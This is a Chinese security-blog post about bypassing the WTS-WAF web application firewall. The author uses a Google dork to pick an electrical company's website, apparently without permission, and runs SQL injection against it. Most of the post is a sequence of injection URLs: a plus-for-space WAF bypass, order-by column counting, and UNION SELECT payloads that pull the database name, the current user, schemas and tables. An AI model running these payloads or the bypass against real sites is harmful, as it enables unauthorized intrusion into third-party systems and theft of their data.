官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
记一次简单的绕过WTS-WAF
O26- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
记一次简单的绕过WTS-WAF
今天想玩点sql注入，安排！
我还是渗透菜鸡，请各位大佬勿喷。
0x01.寻找目标
inurl:.php?id= intext:电器找到了一个电器公司的网站，随便测了测，发现有waf
这还不安排（找了点资料，貌似直接加号代替空格就可以，直接尝试）
0x02.操作
发现没有waf拦截了
资料还说了
sqlmap.py -u http://*/*.php?id=29 --tables --tamper space2plus.py工具我尝试了发现无法开始
就这样子......
0x03.手注
http://*/*.php?id=1+and+1=1 #回显正常
http://*/*.php?id=1+and+1=2 #回显错误
说明存在注入
http://*/*.php?id=1+order+by+15 #15回显错误
http://*/*.php?id=1+order+by+14 #14回显正常
说明有14个字段
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 #-1让它错误然后执行后面
它回显了第2和第8
http://*/*.php?id=-1+union+select+1,database(),3,4,5,6,7,user(),9,10,11,12,13,14 #查询当前数据库信息和当前用户
一些常见的函数
version() #显示数据库当前版本
database() / schema() #显示当前数据库名
user() / system_user() / session_user() / current_user() / current_user() #显示当前用户名称
charset(str) #返回字符串str的字符集
collation(str) #返回字符串str的字符排列方式
0x04.查数据
爆数据库
http://*/*.php?id=-1+union+select+1,group_concat(schema_name),3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1
它不能group_concat,那我就一个一个查了！
http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1 #从1开始取一个
http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+1,1 #从2开始取一个
爆数据表
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1爆数据
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,字段名,9,10,11,12,13,14+表名+limit+0,1总结：
1.工具跑不起就只能手注了
2.实践了下mysql的手注
免责声明
1.一般免责声明：本文所提供的技术信息仅供参考，不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》，作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明：文中技术内容可能不适用于所有情况或系统，在实际应用前请充分测试和评估。若因使用不当造成的任何问题，相关方不承担责任。
3. 更新声明：技术发展迅速，文章内容可能存在滞后性。读者需自行判断信息的时效性，因依据过时内容产生的后果，作者及发布平台不承担责任。
本文为 O26 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
O26 LV.4
技术成就梦想
- 8 文章数
- 5 关注者
centos7上masscan的搭建
2021-07-10
彻底关闭windows10系统自动更新的方法
2021-04-21
ssh免密登录的一点小总结
2021-04-18
文章目录